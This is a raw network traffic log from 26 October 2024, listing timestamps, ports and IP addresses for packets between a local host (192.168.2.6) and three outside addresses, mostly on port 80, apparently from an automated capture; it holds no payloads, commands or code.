Oct 26, 2024 07:27:01.531135082 CEST	49914	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:01.531296968 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:01.531310081 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:01.531388998 CEST	49914	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:01.531791925 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:01.531805038 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:01.531816959 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:01.531871080 CEST	49914	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:01.531871080 CEST	49914	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:01.531970978 CEST	49914	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:01.531970978 CEST	49914	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:01.532183886 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:01.534677982 CEST	49914	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:01.536297083 CEST	40500	49952	90.156.162.125	192.168.2.6
Oct 26, 2024 07:27:01.536366940 CEST	49952	40500	192.168.2.6	90.156.162.125
Oct 26, 2024 07:27:01.542303085 CEST	40500	49952	90.156.162.125	192.168.2.6
Oct 26, 2024 07:27:02.632472038 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:02.637887001 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:02.637999058 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:02.641123056 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:02.646441936 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:03.546670914 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:03.546689034 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:03.546700001 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:03.546739101 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:03.546749115 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:03.546763897 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:03.546770096 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:03.546787977 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:03.546799898 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:03.546812057 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:03.546814919 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:03.546827078 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:03.546869993 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:09.027848005 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:09.033327103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:09.033422947 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:09.033567905 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:09.038882971 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:09.641675949 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:09.647270918 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:09.917036057 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:09.917104959 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:09.917139053 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:09.917170048 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:09.917197943 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:09.917203903 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:09.917226076 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:09.917249918 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:09.917361975 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:09.917395115 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:09.917407990 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:09.917429924 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:09.917444944 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:09.917467117 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:09.917478085 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:09.917511940 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:09.917963982 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:09.917998075 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:09.918019056 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:09.918031931 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:09.918057919 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:09.918076992 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:09.918126106 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:09.918153048 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:09.918467999 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:09.918502092 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:09.918529034 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:09.918538094 CEST	80	49957	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:09.918539047 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:09.918581963 CEST	49957	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:09.950824022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:09.950840950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:09.950856924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:09.950912952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:09.950937033 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:09.950962067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:09.950987101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:09.950988054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:09.951015949 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:09.951030970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:09.951036930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:09.951055050 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:09.951081991 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:09.951085091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:09.951100111 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:09.951105118 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:09.951136112 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:09.951158047 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:09.956573963 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:09.956588984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:09.956624985 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:09.956659079 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:09.956690073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:09.956707954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:09.956738949 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:09.956770897 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.009932995 CEST	40500	49952	90.156.162.125	192.168.2.6
Oct 26, 2024 07:27:10.009989977 CEST	49952	40500	192.168.2.6	90.156.162.125
Oct 26, 2024 07:27:10.104635954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.104656935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.104686022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.104698896 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.104705095 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.104723930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.104727030 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.104747057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.104768038 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.104788065 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.105220079 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.105268955 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.105269909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.105309010 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.105438948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.105483055 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.105489016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.105508089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.105531931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.105555058 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.105868101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.105885983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.105909109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.105914116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.105928898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.105931997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.105951071 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.105952978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.105961084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.105990887 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.106792927 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.106822014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.106841087 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.106858015 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.106865883 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.106878042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.106882095 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.106920004 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.107634068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.107681036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.107686996 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.107700109 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.107723951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.107758045 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.110987902 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.111048937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.111077070 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.111095905 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.258296967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.258346081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.258361101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.258383036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.258383036 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.258399963 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.258404970 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.258419991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.258425951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.258435011 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.258460045 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.258582115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.258609056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.258622885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.258625031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.258644104 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.258657932 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.258846045 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.258862019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.258877039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.258882999 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.258894920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.258913040 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.258934021 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.259059906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.259093046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.259100914 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.259109020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.259131908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.259140015 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.259145021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.259161949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.259179115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.259183884 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.259196043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.259198904 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.259212971 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.259233952 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.259819984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.259836912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.259865999 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.259869099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.259879112 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.259882927 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.259898901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.259905100 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.259913921 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.259928942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.259931087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.259931087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.259947062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.259952068 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.259960890 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.259990931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.260411024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.260454893 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.260476112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.260493040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.260529995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.260541916 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.260545969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.260569096 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.260572910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.260591030 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.260596991 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.260607004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.260610104 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.260622978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.260631084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.260639906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.260643959 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.260658026 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.260677099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.261307955 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.261323929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.261348009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.261356115 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.261363983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.261368036 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.261379004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.261388063 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.261396885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.261406898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.261423111 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.261440992 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.278426886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.278445959 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.278462887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.278544903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.278600931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.278644085 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.377173901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.377249956 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.411880016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.411910057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.411987066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.412013054 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.412029028 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.412058115 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.412090063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.412130117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.412146091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.412147045 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.412174940 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.412203074 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.412213087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.412218094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.412235022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.412242889 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.412261963 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.412288904 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.412472963 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.412487984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.412503004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.412518024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.412523031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.412535906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.412564993 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.412683010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.412698030 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.412714958 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.412724972 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.412734985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.412744999 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.412750006 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.412763119 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.412767887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.412774086 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.412797928 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.412827015 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.413012028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.413028002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.413043976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.413058043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.413069963 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.413085938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.413089991 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.413103104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.413117886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.413132906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.413151979 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.413161039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.413168907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.413184881 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.413201094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.413217068 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.413227081 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.413254023 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.413660049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.413703918 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.413705111 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.413726091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.413747072 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.413779974 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.413815022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.413830042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.413846016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.413856983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.413862944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.413871050 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.413882971 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.413888931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.413908005 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.413933039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.414103031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.414144993 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.414196968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.414212942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.414237022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.414253950 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.414257050 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.414261103 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.414266109 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.414290905 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.414304972 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.414344072 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.414359093 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.414374113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.414387941 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.414391994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.414408922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.414413929 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.414426088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.414434910 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.414443970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.414457083 CEST	80	49991	185.215.113.84	192.168.2.6
